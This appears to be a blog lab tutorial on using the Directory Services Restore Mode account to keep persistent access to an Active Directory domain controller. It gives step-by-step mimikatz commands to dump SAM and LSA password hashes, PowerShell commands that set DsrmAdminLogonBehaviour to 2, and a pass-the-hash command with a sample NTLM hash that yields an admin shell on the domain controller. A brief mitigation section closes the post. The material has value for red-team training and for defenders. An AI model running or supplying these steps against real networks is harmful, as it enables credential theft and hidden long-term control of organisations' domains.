Domain Persistence: DSRM
In this post, we are going to discuss one more Mitre Attack Technique for Tactic ID TA0003 which is used by various of APTs & threat Actors for creating a permanent backdoor in the domain controller. We will check how to use Directory Services Restore Mode (DSRM) for conducting a persistence attacker on the Domain controller.
Table of Content
Lab Setup Requirement
What is DSRM Password
- DSRM Persistence
- Extract the Hashes
- Change the DSRM Registry Key Value
Pass the DSRM Hash
Mitigation & Workaround Solution
Lab Setup Requirement
- 1 Domain Server 2016 & mimikatz
- 1 Domain client & mimikatz
Note: A domain controller contains two Administrator accounts, one “AD Administrator Account” use to login into the domain controller that is managed by LSASS and another is hard-coded “Local Administrator Account” stored in their SAM database.
What is DSRM Password
All domain controllers have a hard-coded local Administrator account stored in their SAM file. This account and local database are not used or generally available when the domain controllers are running normally.
While Active Directory Domain Controller is configured, the wizard prompts ask to enter a DSRM password for the local administrator. This password provides the administrator with a back door to the database in case something goes wrong later.
DSRM Persistence
DSRM persistence is possible where the systems do not change the DSRM password after AD installation or do not follow the standard of changing passwords regularly for DSRM.
At Domain Controller
As per the cyber kill chain, persistence attack is a phase that comes after the initial foothold where an attacker will strive to create a permanent backdoor to establish a connection in the future.
Here, you can choose any of the methods to access the domain controller at least once, then inject the mimikatz to obtain a password hash for a local Administrator account.
Extract the Hashes
If you will observer the following image, you will notice that I have pulled out password hashes for Local Administration from the SAM file & AD Administrator account by injecting LSA injection.
All you need to do is just run the mimikatz with Administration privilege and execute these commands given below:
privilege::debug token::elevate
Extract local Administrator Password Hash
lsadump::sam
Extract AD Administrator Password Hash
lsadump::lsa /patch
Conclusion: I have two different hashes for each administrator account but we password hash for local administrator account.
Change the DSRM Registry Key Value
Once you have the local administrator password hash you need to make some changes inside the Windows registry that will allow you (attacker) to login into Domain Controller using DSRM hashes without rebooting the server.
Very first confirm the registry key value for DsrmAdminLogonBehaviour with the help of the following command:
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\"
Here, it shows DsrmAdminLogonBehaviour Value=0 that will not allow login into DC using DSRM hash.
Set DsrmAdminLogonBehaviour value=2 with the help of the following command:
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose
Note: If DsrmAdminLogonBehaviou registry key is not present inside the HKLM:\System\CurrentControlSet\Control\Lsa\ then create a new key and set the value with the help of the following command:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose
Conclusion: The DSRM persistence is now ready for use.
Pass the DSRM Hash
At Client System
To access the domain controller CMD through the client system, run mimikatz with administrator privilege and execute the following command:
privilege::debug sekurlsa::pth /user:Administrator /domain:ignite.local /ntlm:32196B56FFE6F45E294117B91A83BF38
Note: Use the hash value of the local Administrator in the above command
This will provide you (attacker) the Administrator privilege cmd shell of the Domain controller 😊
Mitigation & Workaround Solution
- Check & monitor the DsrmAdminLogonBehaviour value is not set to 2 inside the Registry key.
- DSRM passwords are changed regularly at least once a month.
Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here
Nice to meet you sir 🙂